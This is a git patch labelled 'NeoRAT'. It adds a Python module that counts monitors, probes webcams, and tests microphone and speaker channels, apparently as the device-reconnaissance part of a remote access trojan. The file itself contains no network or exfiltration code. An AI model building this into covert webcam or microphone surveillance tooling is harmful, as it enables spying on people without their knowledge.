From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/utility/device_support.py | 79 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 foreign/utility/device_support.py (limited to 'foreign/utility/device_support.py') diff --git a/foreign/utility/device_support.py b/foreign/utility/device_support.py new file mode 100644 index 0000000..329ba9d --- /dev/null +++ b/foreign/utility/device_support.py @@ -0,0 +1,79 @@ +import pyaudio +import cv2 + +from desktopmagic.screengrab_win32 import getDisplayRects + + +def device_support(silent, io_channels): + device_obj = {} + + try: + device_obj['monitors'] = len(getDisplayRects()) + except: + device_obj['monitors'] = '???' + + if silent: + device_obj['cams'] = '???' + else: + cams = [0, []] + + while True: + cam = cv2.VideoCapture(cams[0]) + check, frame = cam.read() + if not check: + break + cams[0] += 1 + cams[1].append(f'[{int(cam.get(3))},{int(cam.get(4))}]') + + cam.release() + device_obj['cams'] = '{} {}'.format(cams[0], ', '.join(cams[1])) + + try: + p = pyaudio.PyAudio() + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + RATE = 44100 + except: + device_obj['io-channels'] = '???' + else: + try: + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + input_channels = '2' + except: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + input_channels = '1' + + if io_channels[0] in ('1', '2'): + device_obj['io-channels'] = '{}(+), '.format(input_channels) + else: + device_obj['io-channels'] = '{}(-), '.format(input_channels) + except: + device_obj['io-channels'] = 'None, ' + + try: + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + output_channels = '2' + except: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + output_channels = '1' + + if io_channels[1] in ('1', '2'): + device_obj['io-channels'] += '{}(+)'.format(output_channels) + else: + device_obj['io-channels'] += '{}(-)'.format(output_channels) + except: + device_obj['io-channels'] += 'None' + + p.terminate() + + return device_obj \ No newline at end of file -- cgit v1.2.3